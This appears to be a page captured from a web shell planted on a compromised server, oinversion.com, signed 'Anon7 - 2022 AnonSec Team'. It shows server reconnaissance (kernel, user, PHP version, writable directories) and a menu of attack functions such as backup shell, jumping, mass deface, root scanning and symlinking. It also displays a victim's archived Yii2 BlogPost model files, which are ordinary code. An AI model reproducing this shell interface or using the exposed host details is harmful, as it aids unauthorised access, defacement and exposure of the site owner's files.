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-1160.76.1.el7.x86_64 #1 SMP Wed Aug 10 16:21:17 UTC 2022 x86_64
User : oinversion ( 10001)
PHP Version : 5.6.40
Disable Function : opcache_get_status
Domains : 5 Domains
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/vhosts/oinversion.com/.trash/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /var/www/vhosts/oinversion.com/.trash/BlogPost.php.tar
var/www/vhosts/oinversion.com/httpdocs/common/models/BlogPost.php000064400000010136151456372010021330 0ustar00<?php
/*TODO: Make better organization of blog post image folders */
/*TODO: Generalize upload of one image to a Trait, to use it on: User Profile (avatar) and BlogPost (featured_image) */
/*TODO: Allow creation of subdirectories when uploading an image */
/*TODO: Add support for tags */
namespace common\models;

use Yii;
use yii\helpers\Url;
use yii\helpers\StringHelper;
use common\models\base\BlogPost as BaseBlogPost;
use common\models\traits\Translation;

/**
 * This is the model class for table "blog_post".
 */
class BlogPost extends BaseBlogPost
{
    use Translation;

    protected $featuredImageDirectory = 'blog-post/';
    protected $featuredImageFullDirectory;
    protected $featuredImageURL;
    protected $defaultFeaturedImage;
    public $uploadedFeaturedImage;

    public static function findBySlug($slug, $language = null){
        $language = isset($language) ? $language : Yii::$app->language;
        return self::find()
                ->joinWith('translations')
                ->where(['blog_post_lang.slug'=>$slug])
                ->andWhere(['blog_post_lang.language'=>$language])
                ->one();
    }

    public function init(){
        $this->featuredImageFullDirectory = Yii::$app->params['frontendUploadDirectory'] . $this->featuredImageDirectory;
        $this->featuredImageURL = sprintf('%s%s%s',
                            Yii::$app->params['frontendURL'],
                            Yii::$app->params['uploadDirectoryForURL'],
                            $this->featuredImageDirectory);
        $this->defaultFeaturedImage = 'default_featured_image.jpg';
    }

    public function attributeLabels(){
        $parentAttributeLabels = parent::attributeLabels();
        $parentAttributeLabels['uploadedFeaturedImage'] = Yii::t('model', 'Featured Image');
        return $parentAttributeLabels;
    }

    public function getFullUrlFeaturedImage(){
        $featuredImage = isset($this->featured_image) ? $this->featured_image : $this->defaultFeaturedImage;
        return $this->featuredImageURL . $featuredImage;
    }

    public function saveFeaturedImageToDisk(){
        $uploadedOK = true;
        if (isset($this->uploadedFeaturedImage)) {
            $fileName = sprintf('%d-featured-%s.%s',
                    $this->id,
                    $this->uploadedFeaturedImage->baseName,
                    $this->uploadedFeaturedImage->extension);
            $fileFullPath = $this->featuredImageFullDirectory . $fileName;
            $this->uploadedFeaturedImage->saveAs($fileFullPath);

            /*TODO: Make better control over upload errors */
            if ($this->uploadedFeaturedImage->error==0) {
                $this->featured_image = $fileName;
                $this->save();
                $uploadedOK = true;
            }
            else{
                $uploadedOK = false;
            }
        }

        return $uploadedOK;
    }

    public function saveImageToDisk($image){
        $fileName = sprintf('%d-featured-%s.%s',
            $this->id,
            $image->baseName,
            $image->extension);
        $fileFullPath = $this->featuredImageFullDirectory . $fileName;
        $image->saveAs($fileFullPath);

        return $this->featuredImageURL . $fileName;
    }

    /*TODO: remove double slash i.e.: http://heavycms.dev//site/contact*/
    public function getFullUrl(){
        return Yii::$app->params['frontendURL'] . $this->getUrl();
    }

    public function getUrl(){
        return Url::toRoute(['blog/view', 'slug'=>$this->slug]);
    }

    public function getBriefText($asHtml = true){
        return StringHelper::truncateWords($this->text, 40, $suffix = '...', $asHtml);
    }
    
    public function getAllTags() {
      $allTags=array();
      $tags_array=  explode(",", $this->tags_list);

      foreach ($tags_array as $tag) {
        $tag=trim($tag);
        if (!empty($tag)) {
          if (!isset($allTags[$tag])) {
            $allTags[$tag]=1;
          } else {
            $allTags[$tag] = $allTags[$tag] +1;
          }
        }
      }
      
      arsort($allTags);
        
      $allTags=array_keys($allTags);
      
      return $allTags;
        
    }
}
var/www/vhosts/oinversion.com/httpdocs/common/models/base/BlogPost.php000064400000005762151456532060022256 0ustar00<?php

namespace common\models\base;

use Yii;
use yii\behaviors\TimestampBehavior;
use yii\behaviors\BlameableBehavior;
use common\components\TranslateableBehavior;

/**
 * This is the base-model class for table "blog_post".
 *
 * @property integer $id
 * @property integer $is_published
 * @property integer $created_by
 * @property integer $updated_by
 * @property integer $created_at
 * @property integer $updated_at
 *
 * @property \common\models\User $createdBy
 * @property \common\models\User $updatedBy
 */
class BlogPost extends \yii\db\ActiveRecord
{



    /**
     * @inheritdoc
     */
    public static function tableName()
    {
        return 'blog_post';
    }
    /**
     * @inheritdoc
     */
    public function behaviors()
    {
        return [
            'translatable' => [
                'class' => TranslateableBehavior::className(),
                // in case you renamed your relation, you can setup its name
                // 'relation' => 'translations',
                'translationAttributes' => [
                    'slug',
                    'title',
                    'meta_title',
                    'meta_description',
                    'text',
                    'tags_list',
                ]
            ],
            'timestamp' => [
                'class' => TimestampBehavior::className(),
            ],
            [
            'class' => BlameableBehavior::className(),
            ],
        ];
    }

    /**
     * @inheritdoc
     */
    public function rules()
    {
        return [
            [['is_published', 'blog_category_id'], 'integer'],
        ];
    }

    /**
     * @inheritdoc
     */
    public function attributeLabels()
    {
        return [
            'id' => Yii::t('model', 'ID'),
            'blog_category_id' => Yii::t('model', 'Blog Category ID'),
            'featured_image' => Yii::t('model', 'Featured Image'),
            'is_published' => Yii::t('model', 'Is Published'),
            'created_by' => Yii::t('model', 'Created By'),
            'updated_by' => Yii::t('model', 'Updated By'),
            'created_at' => Yii::t('model', 'Created At'),
            'updated_at' => Yii::t('model', 'Updated At'),
            'title' => Yii::t('model', 'Title')
        ];
    }


    /**
     * @return \yii\db\ActiveQuery
     */
    public function getBlogCategory()
    {
        return $this->hasOne(\common\models\BlogCategory::className(), ['id' => 'blog_category_id']);
    }

    /**
     * @return \yii\db\ActiveQuery
     */
    public function getCreatedBy()
    {
        return $this->hasOne(\common\models\User::className(), ['id' => 'created_by']);
    }

    /**
     * @return \yii\db\ActiveQuery
     */
    public function getUpdatedBy()
    {
        return $this->hasOne(\common\models\User::className(), ['id' => 'updated_by']);
    }

    /**
     * @return \yii\db\ActiveQuery
     */
    public function getTranslations()
    {
        return $this->hasMany(\common\models\BlogPostLang::className(), ['blog_post_id' => 'id']);
    }



}

Anon7 - 2022
AnonSec Team